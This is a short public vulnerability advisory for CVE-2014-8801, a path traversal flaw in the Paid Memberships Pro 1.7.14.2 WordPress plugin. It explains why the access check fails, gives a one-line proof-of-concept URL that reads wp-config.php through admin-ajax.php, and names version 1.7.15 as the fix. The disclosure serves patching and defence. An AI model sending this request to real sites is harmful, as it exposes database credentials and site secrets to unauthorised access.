WordPress Plugin Paid Memberships Pro 1.7.14.2 - Directory Traversal

# Exploit Title: Paid Memberships Pro 1.7.14.2 Path Traversal

# Date: 14-10-2014

# Exploit Author: Kacper Szurek - http://security.szurek.pl

# Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.14.2.zip

# Category: webapps

# CVE: CVE-2014-8801

 

1. Description

 

getfile.php is accessible to everyone.

is_admin() is used to check priveleges but because this code is run in context of wp-admin/admin-ajax.php this function always evalute to true.

$_SERVER['REQUEST_URI'] is not escaped.

 

http://security.szurek.pl/paid-memberships-pro-17142-path-traversal.html

 

2. Proof of Concept

 

http://wordpress-url/wp-admin/admin-ajax.php?action=getfile&/../../wp-config.php

 

3. Solution:

 

Update to version 1.7.15

http://downloads.wordpress.org/plugin/paid-memberships-pro.1.7.15.zip

http://www.paidmembershipspro.com/2014/11/critical-security-update-pmpro-v1-7-15/